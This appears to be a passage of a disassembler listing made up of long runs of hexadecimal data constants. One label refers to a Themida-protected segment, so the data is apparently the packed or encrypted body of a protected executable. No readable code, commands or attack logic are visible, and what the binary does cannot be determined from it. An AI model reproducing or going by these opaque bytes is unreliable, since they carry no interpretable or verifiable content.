		dd 0DD215C68h, 3D4D4042h, 1893BFCEh, 92A79B1Ah,	0F39C53F0h
		dd 8C905E9Ch, 902E8594h, 8A000000h, 6366567h, 0F0929AA7h
		dd 0C898653h, 2D6863FCh, 345BBA1Dh, 2A412EEEh, 948D0228h
		dd 19C85h, 67180000h, 0C7BECC66h, 1F2F53B7h, 0E3AFDDACh
		dd 0F092F742h, 0E4080C53h, 149BB132h, 0F53F19FEh, 75932526h
		dd 0A2BD8C29h, 523653F0h, 96BA1E2Eh, 0E17FF566h, 21EF4207h
		dd 8E2EA75Eh, 0EB0F68D6h, 59547229h, 0FB566521h, 1E2E6764h
		dd 1380B3BAh, 3F0353F0h, 2CFF16F5h, 0BC76315Dh,	9CAFDEEFh
		dd 4EC4BFCDh, 0B0EB1D8Ah, 0CBC2C49Bh, 674B8949h, 7A053568h
		dd 0F2245449h, 0B2812E99h, 3153F092h, 1DC4A8BFh, 0BBDFAA8Ch
		dd 6D12565h, 0CB491118h, 8FBECD24h, 6F910E12h, 58730C3Ch
		dd 8611ADAFh, 0E60A87DDh, 658C4BD6h, 9538D715h,	0B940785h
		dd 53F03638h, 3B48D7BBh, 5D37B042h, 0FD000000h,	5356867h
		dd 3A524F7Ah, 2B5AB11Eh, 29D611Ch, 0E17E8E03h, 7DD25AE3h
		dd 6C11CC79h, 0E6012560h, 389CACE9h, 0BE59E414h, 0D5E51B57h
		dd 47D18594h, 0DF000000h, 5356867h, 3B534E7Ah, 0A9D2624h
		dd 528EAF97h, 46193155h, 93D4D48h, 6A98A7CEh, 9BBF1B33h
		dd 0C20168A7h, 884ACEC3h, 7376667h, 0F092A4A6h,	9FF69953h
		dd 948C8D53h, 82985h, 2F3E0000h, 0FB5F6F1Eh, 0F48B3739h
		dd 8655DFD6h, 61FE0E8Bh, 0C1BCD75Fh, 0B1D2ADDDh, 98B3CCFCh
		dd 9E9BED1Dh, 5AEA3F7Eh, 0C0D70629h, 8FE6557Ah,	0A2A35570h
		dd 4343C7EBh, 4AA5D6A2h, 2BFC8B3Ah, 0C4B2641Fh,	0A1DCEE46h
		dd 380677BDh, 3949DC5Dh, 285A2555h, 0FAECD987h,	1A29FB75h
		dd 2C5F4367h, 4676315Dh, 0E78030C2h, 2786B6E5h,	55E4061Ah
		dd 7C8BE22Dh, 50CF534Ah, 3D4C7F2Eh, 3A7B900Bh, 55E4060Fh
		dd 32728084h, 6B601B2Dh, 371B821Dh, 0F200CAC1h,	0A0F704B2h
		dd 0E82C5F61h, 0A9899E4Ch, 154388Bh, 3E4D0000h,	0E0649411h
		dd 188B2812h, 923100ADh, 0CEB253F0h, 0F092BC8Fh, 38533753h
		dd 0F0924CFFh, 0B143C753h, 6398ECFDh, 0DC9044C2h, 0A2D9BD49h
		dd 21F3AADBh, 705E1685h, 9CC5D30Ch, 0BFC19E94h,	253348CCh
		dd 99D15CF8h, 0E9A4A33Fh, 3A5175D1h, 0E4C64EFDh, 0B341C555h
		dd 3648EA1Ch, 0AFD33747h, 34BEC09Fh, 0E7639B12h, 93B4CBC3h
		dd 719DE21Ah, 0A3D00636h, 43F0C64Ch, 0B0EB1D2Ch, 7ACFCD9Bh
		dd 3200E96Ch, 568430E0h, 0A08BA905h, 23F1ACD9h,	4540h
		dd 65806C00h, 9043EC1Fh, 53D3F092h, 0E35EDFEFh,	0CCD3F092h
		dd 2A31EC03h, 1D91631Eh, 2E8FBCC8h, 53F09273h, 40544B7h
		dd 0D4157189h, 53F09265h, 79E7D25Ch, 0A61AEE4Bh, 4D712C59h
		dd 5BDFA3C7h, 7D81h, 61802F00h,	8347E01Bh, 7449DC6Ah, 0FE537107h
		dd 0D9C418F0h, 0E48FA190h, 3A5E2255h, 0F9269102h, 55E48F4Ah
		dd 10CF45C9h, 0EC7BBFEEh, 0D86BB4DAh, 5B55E48Fh, 7ABBD3F7h
		dd 55E48EC2h, 5A6980CFh, 0D1B17528h, 0F6374430h, 4FCCEC3Fh
		dd 0CB385034h, 59DF7BBDh, 54A27427h, 0D08F855Fh, 0B0CFFFAEh
		dd 9CE31B92h, 7B043471h, 0C433544Fh, 934265ADh,	2D5BAA7Ch
		dd 0C4C6911Eh, 391D45F3h, 61803FF5h, 0BBC81EE9h, 83A70360h
		dd 18782F88h, 8FF349D8h, 0A3DEED7Ch, 67E65551h,	0BE1A3269h
		dd 40737168h, 32C03C17h, 0EC306B9Dh, 225A5173h,	9E10E683h
		dd 0C72E89DAh, 352C1C54h, 0CD04F88Fh, 6ABC06EDh, 9BAA1308h
		dd 2425C2E6h, 0D2F4AB69h, 0B6C857DBh, 9AA8B7C7h, 8D6CEBE3h
		dd 0DF58CB66h, 2CF6AE6Ch, 9DE9AC45h, 784C431Dh,	3F411E14h
		dd 2D5FC84Ch, 7CF35D8Ch, 0E70BDE52h, 8C5D7h, 93EA0000h
		dd 0DF73D78h, 6767A68Ch, 497B0434h, 29253A52h, 4015E6Eh
		dd 0DFEE7189h, 0B6D5AAA2h, 8EBCC3FBh, 6D98E717h, 46471830h
		dd 571F2757h, 0BB53E789h, 443D1629h, 4A4DCB81h,	0CB813CD4h
		dd 15356FBh, 5EFBEB81h,	0DF017DFFh, 4EF835Bh, 5C243C87h
		dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 4C68241Ch
		dd 89000023h, 0BF57240Ch, 7BEA6708h, 0C781D7F7h, 730532A2h
		dd 0AE84C781h, 0ABB1158h, 310E64DAh, 60685FFBh,	8900000Ch
		dd 4832424h, 50590424h,	4189D889h, 24048B08h, 4C481h, 0C8B0000h
		dd 0E2895224h, 4C281h, 0C2830000h, 24148704h, 2434FF5Ch
		dd 4C4815Bh, 0E9000000h, 0FFFCDB90h, 2E20908Fh,	0B8F0B508h
		dd 617A4B3h, 0E0FFC503h, 2559AAE1h, 0EC3D3EFh, 7A27F751h
		dd 4475820Eh, 6BE5BF1Ch, 25BBA0ADh, 75520929h, 5C3A392Dh
		dd 0DBE02A2h, 6094904Fh, 498610D6h, 237DE61Dh, 6D3B0373h
		dd 16D18F3Dh, 72DD2AFAh, 5FBFA1Dh, 6614BFCFh, 35916F29h
		dd 69D2ABBFh, 7186CDDBh, 4C3C856Fh, 148E9h, 4800h, 4C00h
		dd 5000h, 5400h, 5800h,	5C00h, 6000h, 6400h, 0A800h, 0AC00h
		dd 0B000h, 0B400h, 0B800h, 0BC00h, 0C000h, 0C400h, 0C800h
		dd 0CC00h, 0D000h, 0D400h, 0D800h, 0DC00h, 0E000h, 0E400h
		dd 38h dup(0)
		dd 5B81B500h, 0B2C20300h, 0B9858D00h, 310617A5h, 140DC185h
		dd 0F9858906h, 90617A6h, 14344195h, 4985C606h, 54061408h
		dd 5547BA66h, 32061268h, 8B6660D0h, 61CF8BCBh, 3B243481h
		dd 0FF3E506Eh, 142C65B5h, 0EB816606h, 858DE90Ch, 61778FEh
		dd 16CD958Bh, 0D0FF0614h, 0CFD9529h, 95BB0614h,	8967A6B3h
		dd 17A6FD85h, 199D8906h, 0E9061413h, 63h, 64FEEB81h, 0C18166A0h
		dd 294E01DBh, 0F9B58B56h, 890617A6h, 0F9858306h, 40617A6h
		dd 8D60C35Eh, 17A5B9B5h, 560FEB06h, 36FF006Ah, 0A6FD95FFh
		dd 835E0617h, 3E8304C6h, 61EC7500h, 3B966C3h, 858D8960h
		dd 0F061410h, 1688h, 11E900h, 0C03A0000h, 0D93B6CB6h, 0B2D3491Fh
		dd 19A4EEDEh, 8DE6C86Fh, 17A78A85h, 8589F806h, 61403FDh
		dd 39EBh, 2CC00AFh, 2E400AFh, 0AFh, 1AB30000h, 16A4177Ch
		dd 1E982665h, 1A8F7274h, 5D111F7Fh, 73521E75h, 3F5B265Fh
		dd 7C1725Dh, 1DA2025Eh,	16911A45h, 13F11670h, 9BAB727Bh
		dd 737C7212h, 28FD2931h, 773B2E98h, 77AB3690h, 73C77209h
		dd 7D202152h, 0D82D80D0h, 63A9CF98h, 0B3F77405h, 57C3CF32h
		dd 0E6347405h, 759B4244h, 6336CF92h, 6E37405h, 564CF118h
		dd 73FE661Fh, 202C6B65h, 0CA86B29Ah, 0FA1F7215h, 67976B94h
		dd 215AFF17h, 8CE564B6h, 0F0A929C2h, 67F657ACh,	64087217h
		dd 0CA862141h, 0FA1F7215h, 67976B94h, 325AFF17h, 8CE564B5h
		dd 0F8A929C2h, 67E99F84h, 76F67D17h, 153E7211h,	0D64B8390h
		dd 0FE06B29Ah, 75D350E0h, 7BAAF7D7h, 19A77405h,	70102311h
		dd 537C7211h, 0FA67B148h, 0F21B565Dh, 648B5655h, 32C77211h
		dd 3DB9B140h, 0EE787C3Fh, 75EC51D8h, 737C7DF9h,	3E177F11h
		dd 7924D53Eh, 7A123F46h, 5F59AB99h, 0B656F971h,	5AF76621h
		dd 67E3AF94h, 1B221317h, 23492A43h, 731F66F9h, 40A5D111h
		dd 0F6EAB8FAh, 0CB1B7481h, 16EA01C2h, 7DA31D73h, 2D252497h
		dd 731A7690h, 9A534371h, 738F721Dh, 0F0670BF8h,	0C6323029h
		dd 0EF94870Eh, 7105C798h, 0C6837405h, 752A5E74h, 8D9AFFE4h
		dd 19896569h, 702F2211h, 53E37211h, 0FAA9B149h,	0F2FC5655h
		dd 64785655h, 333E7211h, 565CB141h, 0C6A6B3A0h,	75D36A14h
		dd 7789A2EEh, 9BA1727Bh, 73F87212h, 2BBF2A31h, 771A3698h
		dd 773B3690h, 738F720Ch, 2C042251h, 72216060h, 81D27FF5h
		dd 76755907h, 1B7A6619h, 0E5E31F2Eh, 731F74F9h,	86C65B11h
		dd 7C3897FEh, 73E37093h, 2C901211h, 0B2DC7690h,	191550B3h
		dd 70D62711h, 531F7211h, 0FAD2B14Ch, 0F2C3567Dh, 66E75655h
		dd 36F17211h, 83D4B144h, 737C76F9h, 733C9E11h, 731A9A11h
		dd 0D5C57211h, 0CC956DCDh, 55014FC2h, 21A1224Eh, 73F866F9h
		dd 17D5F111h, 0EE74B6Ah, 0AA665260h, 0C0742A2Ch, 41446029h
		dd 0BC681471h, 29C07D4Bh, 57BCF949h, 0F831C015h, 0FA642311h
		dd 7C1B5655h, 738F7091h, 2B33F811h, 750B2CA7h, 21F17211h
		dd 9359AA1Bh, 0E6C1F9D2h, 29386600h, 0FE94727Bh, 759B64FCh
		dd 73ADA2EEh, 73E09A41h, 2BD17211h, 37712AD2h, 37FD7635h
		dd 73257635h, 235F7211h, 24D119D2h, 22FFBA50h, 0AD66FB90h
		dd 0F8F765B6h, 713477E9h, 0F6F57211h, 7529D5F3h, 0FA07B292h
		dd 64289494h, 0CA074117h, 73E370FDh, 0F8FED8E2h, 73F87214h
		dd 0D1A5F377h, 7BB47DC6h, 211F7211h, 7E6EC798h,	0B5997405h
		dd 67EB3B94h, 75193117h, 5F87211h, 57428855h, 73369B2Fh
		dd 33C77211h, 0C57DF143h, 1B9E343Fh, 59BC2A2Fh,	73F163F8h
		dd 70FCE411h, 0DBAF4DDEh, 0B01302EFh, 2C6F79Dh,	770E0D55h
		dd 7BD45235h, 266FB63h,	8CF76612h, 67D417A4h, 7AF1F917h
		dd 0FE386600h, 64678C94h, 238F1817h, 73C771F9h,	0B0BB5211h
		dd 57B5FB49h, 57BCF315h, 737C6E15h, 0B06E3211h,	6A9967A5h
		dd 3D106338h, 75457D88h, 0F8E37211h, 67FCABA4h,	864DF917h
		dd 8C7A660Ah, 233E18C1h, 731F71F9h, 0B0D75211h,	5783FB49h
		dd 57A7F315h, 73F16515h, 0B0A83211h, 31FF10E0h,	733E62F9h
		dd 70E22B11h, 0F8830107h, 352256EAh, 4C5CDFD3h,	75757DD2h
		dd 58F87211h, 677BE7A4h, 0F6B72C17h, 750B7458h,	9BDE727Bh
		dd 73C77212h, 2A202B31h, 77D53E98h, 77DC3690h, 737C7209h
		dd 0C0FD2350h, 79BC5D58h, 5A06F79Ch, 73AD7405h,	73E09A42h
		dd 28D17211h, 2F7129D2h, 37FD7635h, 73227635h, 205C7211h
		dd 0B22B64D2h, 7EAC0839h, 0F66A4BC1h, 75E56908h, 9BA8727Bh
		dd 737C7212h, 2BFD2A31h, 773B3698h, 77AB3690h, 73C77205h
		dd 9B202251h, 7BB8F7D7h, 50AB7405h, 675A0784h, 0FE531A17h
		dd 479EDFEEh, 3D4AC735h, 2E52FB40h, 0F8E56609h,	16448DEAh
		dd 19FE663Dh, 70942311h, 533E7211h, 0FA46B148h,	0F28B565Dh
		dd 6AC35655h, 32E37211h, 0C5CCB140h, 0D973EFD6h, 3C9AA090h
		dd 0F6B37F13h, 75080AEFh, 6E5AEF98h, 0A3387405h, 0A65EFB71h
		dd 9AF76631h, 73F87202h, 932E05AFh, 0D64B145Bh,	44FC1134h
		dd 833CA1E9h, 126220EBh, 5A92F798h, 0E6787405h,	75EC7A40h
		dd 7B35F7D7h, 156D7405h, 1BC864AFh, 0D9494896h,	73CB9A71h
		dd 80BE7211h, 6CE9B022h, 972F4FEFh, 0AAC8419Ah,	5187144Bh
		dd 779E13FAh, 21055E35h, 20C7183Ch, 73E371F9h, 0B0AA5211h
		dd 57A4FB4Ah, 5738F315h, 733E6815h, 0B04C3111h,	0B820380Ah
		dd 0FA39CF14h, 67E4E7ACh, 16448D17h, 0CDFE663Dh, 26623D7h
		dd 0BC0F79Ch, 73757406h, 738C9A42h, 28E77211h, 2F6A29D2h
		dd 37707635h, 73E47635h, 203F7211h, 534662D2h, 7F01E557h
		dd 0CC80A8D5h, 19178DD8h, 700B2111h, 53F17211h,	0FAA3B14Ah
		dd 0F278564Dh, 653A5655h, 301F7211h, 0A539B142h, 4A42FB97h
		dd 19E56612h, 70192311h, 53F87211h, 0FA25B148h,	0F23A565Dh
		dd 641B5655h, 328F7211h, 9661B140h, 0F66A2EE1h,	75E56D18h
		dd 7BB1F7D7h, 193B7405h, 70D62411h, 531F7211h, 0FAD1B14Fh
		dd 0F2C35665h, 6AE75655h, 35F17211h, 3F2FB147h,	5BB2CDE7h
		dd 5D17CC77h, 731F7FF9h, 35B6CC11h, 1FD8243Fh, 56E3ABE3h
		dd 1BA833C1h, 223A3029h, 5567D8AFh, 573AF37Fh, 1503E960h
		dd 0AC4EF377h, 16728DA0h, 19E5663Dh, 70192211h,	53F87211h
		dd 0FA24B149h, 0F23A5655h, 671B5655h, 338F7211h, 0FA8BB141h
		dd 67F02B84h, 8D74FF17h, 9AFE6569h, 737C721Ch, 47680760h
		dd 8886BEDh, 189EAFB3h,	73D39A03h, 0C0C7211h, 0ADC198B9h
		dd 0EEFAEF0Dh, 0D1AA78C9h, 0A2E390FBh, 0E694F2AFh, 759B7F70h
		dd 24178D4Fh, 65FECF3Ah, 0FAAF7405h, 67E4CF94h,	67C31417h
		dd 3ABBB419h, 34196619h, 5ECEEF98h, 6EAF7405h, 2109527Ch
		dd 57C5F34Fh, 18040F76h, 9B2B727Bh, 733E7212h, 2CDC2D31h
		dd 77AB0E98h, 77E33690h, 73E3720Ch, 24322556h, 0B9663DEBh
		dd 7315DC73h, 9DBF1404h, 0C6E0DDF8h, 759B5E74h,	433AC712h
		dd 0F66E7405h, 75E60AEFh, 9BAB727Bh, 737C7212h,	28FD2931h
		dd 773B2E98h, 77AB3690h, 73C77204h, 0E202152h, 73F89BC2h
		dd 8E357211h, 99F72FFEh, 8C9A6AA0h, 9BD3F8C1h, 738F721Ah
		dd 646B33C2h, 1CEBCAF6h, 0FA567D10h, 67F8DFACh,	0F6F52817h
		dd 752A7290h, 9B4A727Bh, 738F7212h, 2E042F31h, 77C71E98h
		dd 77D53690h, 73F8720Bh, 5CBF2754h, 6A6B24A5h, 0CE96F9CFh
		dd 759B6178h, 7B8EF7D7h, 19A47405h, 70192511h
		dd 53F87211h, 0FA23B14Eh, 0F23A566Dh, 6E1B5655h, 348F7211h
		dd 8EFDB146h, 0FC83D477h, 3E428C2Ch, 73FEF11Eh,	0FE577211h
		dd 752A7394h, 7AEDFD79h, 7CDD2240h, 299E2320h, 57E7F349h
		dd 2A323BDFh, 4731E798h, 0C6837405h, 752A5E74h,	0FF9AAC90h
		dd 0F60222C4h, 75D00AEFh, 0D5CF6BAFh, 19218D7Fh, 70102011h
		dd 537C7211h, 0FA64B14Bh, 0F21B5645h, 658B5655h, 31C77211h
		dd 758B143h, 927CF9EBh,	70FE6632h, 6765EBACh, 0A2BBFB17h
		dd 19196634h, 70672111h, 53C77211h, 0FAB8B14Ah,	0F2F5564Dh
		dd 6EFC5655h, 307C7211h, 9322B142h, 683BD3A5h, 77E9C9D5h
		dd 0EE4EA2EEh, 75F77190h, 7170F798h, 73927405h,	737F9A42h
		dd 281E7211h, 2F9629D2h, 370E7635h, 73DB7635h, 20A07211h
		dd 0A892DD2h, 0A233D9D0h, 0CEF75B8Dh, 752A5B64h, 9A927371h
		dd 7C89660Ch, 73C76891h, 73F79A11h, 0D04D7211h,	59528910h
		dd 0B34868E5h, 462D5AF1h, 41AE5656h, 12D1DE07h,	3A44B890h
		dd 0FF85765Eh, 25F118C9h, 73F871F9h, 0B0225211h, 574AFB4Fh
		dd 575BF315h, 738F6415h, 0B0913411h, 0F84EAE8Dh, 19F556DBh
		dd 70102111h, 537C7211h, 0FA65B14Ah, 0F21B564Dh, 678B5655h
		dd 30C77211h, 0F8FBB142h, 67FB4FA4h, 0C27D7317h, 797A6634h
		dd 0AFBA7DD1h, 7C1F7212h, 738F749Ch, 2A72F911h,	0F9E5661Eh
		dd 3A74B4FBh, 3CFE6619h, 0E9EF377h, 733A9A65h, 1FDB7211h
		dd 7567CD91h, 0FBC77211h, 6D888F20h, 73E09BA9h,	39B07211h
		dd 85EC4CFh, 0FDD2831Eh, 2F18EE96h, 29CA93EDh, 9B952241h
		dd 73E37201h, 22D0DF75h, 697C3779h, 5EFBE7B5h, 0A4BCE351h
		dd 7C45879Bh, 0F8D72820h, 15C35655h, 0F8B3F6ABh, 7B191211h
		dd 9DF87211h, 725CDB06h, 2539F7CBh, 0FA7E2848h,	9B8B5655h
		dd 73C77205h, 0DA3ED815h, 1E48D61Fh, 4A60289Ah,	0AA3D2419h
		dd 92F13724h, 731F7FF8h, 6F569411h, 0FB571577h,	9535A497h
		dd 2BAFE4EEh, 7FD1C798h, 0C6837405h, 752A5E74h,	9B4F727Bh
		dd 738F7212h, 2B042A31h, 77C73698h, 77D53690h, 73F87209h
		dd 88BF2251h, 0F1F39110h, 731F7FF9h, 0DB83D011h, 1F97B1C0h
		dd 5DEAC91Ch, 6A432DC6h, 8D7DFF4Fh, 0FA7A6569h,	6731DBA4h
		dd 7CCF8D17h, 738F7394h, 0B3448711h, 23E31835h,	73F171F9h
		dd 0B0A05211h, 5738FB49h, 577AF315h, 731F6F15h,	0B0DF3211h
		dd 247DC52Fh, 702253ECh, 0CE7A2F2Bh, 75EC7294h,	7BE1F798h
		dd 73547405h, 731C9A47h, 2DAF7211h, 74E2CD2h, 37627635h
		dd 73E67635h, 25BE7211h, 0CF94FBD2h, 4AF4F37Bh,	1567552Fh
		dd 0F604BD9Ah, 75D37090h, 5632EF9Ah, 300D7405h,	9BAF727Bh
		dd 737C7212h, 2CFD2D31h, 773B0E98h, 77AB3690h, 73C7720Ch
		dd 5D202556h, 0E8E58A6h, 83C97796h, 81FD14D9h, 68B59A1Eh
		dd 9B4A727Bh, 738F7212h, 2E042F31h, 77C71E98h, 77D53690h
		dd 73F87207h, 51BF2754h, 68B5A398h, 7375699Ah, 738C9A41h
		dd 2BE77211h, 376A2AD2h, 37707635h, 73E27635h, 233C7211h
		dd 7D9BC6D2h, 0B7258A79h, 73E5AA22h, 73C49A47h,	2DC37211h
		dd 7782CD2h, 37797635h,	73647635h, 25787211h, 7D645D2h
		dd 0F3809031h, 73C77215h, 0EF7ECB77h, 7558EF98h, 73927405h
		dd 737F9A41h, 2B1E7211h, 37962AD2h, 370E7635h, 73DC7635h
		dd 23A37211h, 0BBD0E0D2h, 31147709h, 3AF9B46Ch,	34386619h
		dd 9B4C727Bh, 738F7212h, 28042931h, 77C72E98h, 77D53690h
		dd 73F8720Bh, 0C1BF2152h, 84493B5Ah, 0B0AE5E23h, 42FECF20h
		dd 0DCAF7405h, 15A717A6h, 0F2F30FAFh, 56025615h, 73160168h
		dd 733D9A47h, 2D3F7211h, 7062CD2h, 37467635h, 73F47635h
		dd 25B77211h, 0A9CF97D2h, 0EE49C8CAh, 0E617310Bh
		db 0Ch
dword_5B8EA1	dd 0EE750B42h						; Themida_:005D6B0Ar
		db 0C7h, 0EAh, 5Fh
		dd 7E2F7405h, 4FE37211h, 0EDA0AD7Ah, 7E8708C5h,	0DD1F280Dh
		dd 6E73FF9Ah, 0FE457405h, 64F78C94h, 21C71817h,	73E371F9h
		dd 0B0AB5211h, 57ACFB4Bh, 5738F315h, 733E6515h,	0B04D3011h
		dd 0F25A1500h, 73C77EF8h, 9056FF11h, 6753E270h,	1C510E34h
		dd 19AC8D09h, 70D62511h, 531F7211h, 0FAD0B14Eh,	0F2C3566Dh
		dd 65E75655h, 34F17211h, 0B791B146h, 0CD1A1270h, 89B5DE48h
		dd 0CE9AFB70h, 0F889660Dh, 67D243ACh, 926EF917h, 33F7660Fh
		dd 9BAF727Bh, 737C7212h, 2CFD2D31h, 773B0E98h, 77AB3690h
		dd 73C7720Bh, 57202556h, 859E35E7h, 0E673D9B9h,	756876C8h
		dd 7354729Ah, 731C9A40h, 2AAF7211h, 3F4E2BD2h, 37627635h
		dd 73E97635h, 22B97211h, 0CD9B5D2h, 0FA6C4B5Fh,	67003BACh
		dd 0F6062D17h, 75D341E8h, 7389729Ah, 73F29A43h,	29D87211h
		dd 27F528D2h, 37BF7635h, 73067635h, 21CD7211h, 6AA4C9D2h
		dd 9A7C4E3Dh, 73F17203h, 782AF08Bh, 0A74EBD51h,	11CD446Fh
		dd 0B639A12Ch, 0F606CD35h, 75D37EF8h, 6A02FF98h, 1B187405h
		dd 15F87210h, 15CFCAAFh, 0FEF1A9ABh, 64B77694h,	228F1817h
		dd 73C771F9h, 0B0BA5211h, 57BDFB48h, 57BCF315h,	737C6615h
		dd 0B06F3311h, 23D4F917h, 738F63F9h, 241D7911h,	6CD6A98Ch
		dd 7941E664h, 587C462Fh, 0FB73192Fh, 733E7213h,	0FA409E9Bh
		dd 0C6045615h, 75D35DA8h, 583EE7EEh, 8B7A7405h,	0DBF2EF9Ch
		dd 73167406h, 733D9A47h, 2D3F7211h, 7062CD2h, 37467635h
		dd 73FE7635h, 25B77211h, 9595F0D2h, 81591855h, 0CC3B9FA9h
		dd 75E7CD28h, 0FA5CF941h, 73AD560Dh, 73E09A42h,	28D17211h
		dd 2F7129D2h, 37FD7635h, 73297635h, 205C7211h, 0EB1761D2h
		dd 73D39BF6h, 2D9A7211h, 4317A344h, 418EC58Bh, 0ABD00604h
		dd 3C2CFB2h, 0F410D76Ah, 738F721Fh, 0DA5AFB71h,	0F2E56622h
		dd 0A53ED6FBh, 15681332h, 152C809Ah, 0E3D354AFh, 9B4E727Bh
		dd 738F7212h, 2A042B31h, 77C73E98h, 77D53690h, 73F87204h
		dd 8CBF2350h, 84B5143Eh, 78D2E7EEh, 73E57405h, 73C49A47h
		dd 2DC37211h, 7782CD2h,	37797635h, 736A7635h, 25787211h
		dd 1B5C5AD2h, 6542F798h, 0F64E7405h, 75F77A8Ch,	9BA6727Bh
		dd 73F87212h, 2CBF2D31h, 771A0E98h, 773B3690h, 738F7204h
		dd 71042556h, 0E76F952h, 78F7661Fh, 67F9679Ch, 2F1F917h
		dd 0B5386603h, 67173B94h, 79672117h, 21C77211h,	0F70441F7h
		dd 0C25A452Dh, 764DF9FEh, 297A6606h, 733E76F9h,	0F49B0D11h
		dd 73839BBBh, 83637211h, 0F856D794h, 20083913h,	0CDA80CFCh
		dd 6955FE2Ah, 771A369Ah, 0F879729Ah, 57CBFBE6h,	2B0CF915h
		dd 51E6CB77h, 5F94C7EEh, 0E6737405h, 75687EF4h,	7FCF377h
		dd 8D9AFFB9h, 0F2896569h, 0D2D27ECFh, 19338D7Bh, 70192511h
		dd 53F87211h, 0FA23B14Eh, 0F23A566Dh, 6B1B5655h, 348F7211h
		dd 5643B146h, 5ADC5A3Dh, 67FE6794h, 0DE7DFB17h,	197A6622h
		dd 70D62311h, 531F7211h, 0FAD6B148h, 0F2C3565Dh, 6EE75655h
		dd 32F17211h, 2E6EB140h, 0C29A323Dh, 0B32B944Dh, 6352CF98h
		dd 0F6497405h, 75D37A58h, 21E31856h, 73F171F9h,	0B0A25211h
		dd 5728FB4Bh, 577AF315h, 731F6415h, 0B0DD3011h,	1BF3BBE6h
		dd 0DEC1255Dh, 73F5FE1Eh, 0C5AF7211h, 47FD28C8h, 237CAE35h
		dd 211F181Dh, 738F71F9h, 0B09D5211h, 57B7FB4Bh,	57B5F315h
		dd 73F86515h, 0B02E3011h, 9039FB11h, 7309F51Eh,	7C677211h
		dd 90C77211h, 6A72EBBDh, 0BD023043h, 54096A45h,	2A85E87Dh
		dd 5F5BC7EEh, 0E6147405h, 759B52C4h, 0B39F79Ch,	73897406h
		dd 73F29A43h, 29D87211h, 27F528D2h, 37BF7635h, 730A7635h
		dd 21CD7211h, 9B053ED2h, 73E37219h, 1ADDA6A9h, 746AC517h
		dd 76E1434Fh, 8C386601h, 6EAAFBC1h, 0FA89660Ah,	67D7F394h
		dd 26E31817h, 73F171F9h, 0B0A55211h, 5710FB4Ch,	577AF315h
		dd 731F6415h, 0B0DA3711h, 0B51D7059h, 67EB3B94h, 739B2117h
		dd 73FB9A41h, 2B5C7211h, 37B72AD2h, 379E7635h, 73927635h
		dd 23877211h, 0B121DFD2h, 89487940h, 15A2A140h,	7C9A6BAFh
		dd 8356A1AEh, 23C4E0C9h, 7CDD2243h, 73C7729Dh, 13D27D11h
		dd 7CA92870h, 0F2A02820h, 0F41C5625h, 735430BAh, 731C9A42h
		dd 28AF7211h, 2F4E29D2h, 37627635h, 73ED7635h, 20BB7211h
		dd 7E9EC8D2h, 0E0D16F0h, 61F72342h, 0F08F7211h,	79463CE6h
		dd 84B584C4h, 60C3AE5Ah, 0C4BA2D6h, 16E17B5Dh, 2A386612h
		dd 731F62F9h, 0AC92B811h, 46C0C942h, 34B9BAB2h,	71F31212h
		dd 75787D4Dh, 7C7C7211h, 733E7295h, 0C6E02B11h,	759B5E74h
		dd 9B97727Bh, 73E37212h, 2B322A31h, 77DC3698h, 77583690h
		dd 733E7207h, 0C7DC2251h, 0C6040AE2h, 75D3514Ch, 0B1DF79Ch
		dd 7CA07406h, 73F87396h, 8C228B11h, 203E18C1h, 731F71F9h
		dd 0B0D45211h, 579BFB4Ah, 57A7F315h, 73F16815h,	0B0AB3111h
		dd 0F2ED23B9h, 13A5C2FAh, 6176CF98h, 0D9347405h, 12BBF75Fh
		dd 783AF798h, 0F8977405h, 3A7DB4DFh, 247A6619h,	6D5BB490h
		dd 3B772F93h, 0CDD83DA6h, 145FCB31h, 0CDC77690h, 7CC9C68Bh
		dd 73F87497h, 7AC95911h, 8C38663Bh, 673317A4h, 8D0AFF17h
		dd 19C16569h, 700B2311h, 53F17211h, 0FAA1B148h,	0F278565Dh
		dd 663A5655h, 321F7211h, 0E66AB140h, 65FEE710h,	0A31C7405h
		dd 2C59C342h, 5971F798h, 81FC7405h, 3ABBB49Fh, 30196619h
		dd 1B5ECD1Eh, 20DD41CAh, 7762BC9Ah, 5CD3F35h, 24F81878h
		dd 737C71F9h, 0B0615211h, 5763FB4Eh, 57CBF315h,	73C76515h
		dd 0B0B43511h, 0B742B56Dh, 73F861F9h, 95757111h, 14ECD469h
		dd 0CE28FCCDh, 88B41439h, 7E31C865h, 0EC25CB77h, 7A19124Fh
		dd 0E8F87211h, 34FED3FBh, 45FF982Ah, 75D2EF98h,	7CD57405h
		dd 73C7749Fh, 465EFB11h, 12F76603h, 5F9DC7EEh, 73167405h
		dd 733D9A46h, 2C3F7211h, 0F062DD2h, 37467635h, 73F87635h
		dd 24B67211h, 0D68FC5D2h, 9B1FCEBEh, 8DBBFFD7h,	86196569h
		dd 73E5A2EEh, 73C49A43h, 29C37211h, 277828D2h, 37797635h
		dd 73687635h, 217C7211h, 0E62E0FD2h, 759B6D2Ch,	5B8CB77h
		dd 7A92F798h, 0F7FE7405h, 73F87217h, 5C89CF9Ah,	0F5317405h
		dd 731F7212h, 0FE75CD1Eh, 64608894h, 0EA765917h, 0F3F76604h
		dd 20A84EF0h, 0D9DADCAEh, 77B72C1Ah, 8CE4F935h,	67A4AF84h
		dd 0E65AFB17h, 0F8E56637h, 4E447BC9h, 0FEFE6617h, 64DB9C94h
		dd 233E1817h, 731F71F9h, 0B0D75211h, 5783FB49h,	57A7F315h
		dd 73F16F15h, 0B0A83211h, 33A7F0BCh, 9DC2C16Eh,	254F3AABh
		dd 578BFB4Fh, 6216F798h, 9AB37405h, 73F17205h, 8062564Bh
		dd 247EAD97h, 767A3504h, 0E83EA501h, 0EBC67040h, 19E36E98h
		dd 700B2111h, 53F17211h, 0FAA3B14Ah, 0F278564Dh, 653A5655h
		dd 301F7211h, 7E62B142h, 0BE528D83h, 72E5661Ah,	67C50BA4h
		dd 73F49B17h, 9C157211h, 9E651698h, 3E21C707h, 0F606FF6Fh
		dd 75D36000h, 9BB4727Bh, 73F17212h, 2C3B2D31h, 77580E98h
		dd 771A3690h, 731F720Ch, 0F64C2556h, 69605A15h,	3EE7974h
		dd 73E59B93h, 0F4857211h, 0BB8C4314h, 0F56A8E90h, 685E7AEBh
		dd 80A19F52h, 0F600824Bh, 75F75E14h, 73F1721Eh,	73FEFB1Eh
		dd 82FD7211h, 4CDCC88Ch, 3551C5AFh, 621A8D26h, 19C16603h
		dd 700B2711h, 53F17211h, 0FAA5B14Ch, 0F278567Dh, 683A5655h
		dd 361F7211h, 0EA77B144h
